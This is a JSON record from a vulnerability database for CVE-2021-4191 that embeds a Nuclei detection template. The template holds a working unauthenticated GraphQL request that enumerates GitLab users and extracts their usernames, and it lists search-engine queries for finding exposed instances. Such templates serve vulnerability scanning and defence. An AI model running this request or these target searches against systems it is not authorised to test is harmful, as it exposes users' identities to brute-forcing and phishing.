{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-4191/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-4191/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-4191/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-4191/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-4191/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-4191"},"sightings":{"href":"/api/v1/sightings/cve-2021-4191"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-4191.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2021-4191\n\ninfo:\n  name: GitLab GraphQL API User Enumeration\n  author: zsusac\n  severity: medium\n  description: An unauthenticated remote attacker can leverage this vulnerability to collect registered GitLab usernames, names, and email addresses.\n  impact: |\n    An attacker can enumerate valid usernames, which can be used for further attacks such as brute-forcing passwords or launching targeted phishing campaigns.\n  remediation: |\n    Implement rate limiting or CAPTCHA on the GraphQL API to prevent user enumeration.\n  reference:\n    - https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/\n    - https://thehackernews.com/2022/03/new-security-vulnerability-affects.html\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-4191\n    - https://gitlab.com/gitlab-org/gitlab/-/issues/343898\n    - https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-4191.json\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2021-4191\n    cwe-id: CWE-287\n    epss-score: 0.80004\n    epss-percentile: 0.99595\n    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*\n  metadata:\n    max-request: 1\n    vendor: gitlab\n    product: gitlab\n    shodan-query:\n      - cpe:\"cpe:2.3:a:gitlab:gitlab\"\n      - http.title:\"gitlab\"\n    fofa-query: title=\"gitlab\"\n    google-query: intitle:\"gitlab\"\n  tags: cve2021,cve,gitlab,api,graphql,enum,unauth,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /api/graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: */*\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}/-/graphql-explorer\n\n        {\"query\":\"# Welcome to GraphiQL\\n#\\n# GraphiQL is an in-browser tool for writing, validating, and\\n# testing GraphQL queries.\\n#\\n# Type queries into this side of the screen, and you will see intelligent\\n# typeaheads aware of the current GraphQL type schema and live syntax and\\n# validation errors highlighted within the text.\\n#\\n# GraphQL queries typically start with a \\\"{\\\" character. Lines that starts\\n# with a # are ignored.\\n#\\n# An example GraphQL query might look like:\\n#\\n#     {\\n#       field(arg: \\\"value\\\") {\\n#         subField\\n#       }\\n#     }\\n#\\n# Keyboard shortcuts:\\n#\\n#  Prettify Query:  Shift-Ctrl-P (or press the prettify button above)\\n#\\n#       Run Query:  Ctrl-Enter (or press the play button above)\\n#\\n#   Auto Complete:  Ctrl-Space (or just start typing)\\n#\\n\\n{\\n  users {\\n    nodes {\\n      id\\n      name\\n      username\\n    }\\n  }\\n}\",\"variables\":null,\"operationName\":null}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"data\"'\n          - '\"users\"'\n          - '\"nodes\"'\n          - '\"id\"'\n          - 'gid://'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: json\n        json:\n          - '.data.users.nodes[].username'\n# digest: 4a0a00473045022100e0929d60d7588617f087f92c1e89de046237ebe1a4aee8ee3d8e5fa3d81680c1022075d0c6b55bc62887a5132f9bc76a4b32e59f87b5473e4f35e0a6c016817ec7ac:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-4191"}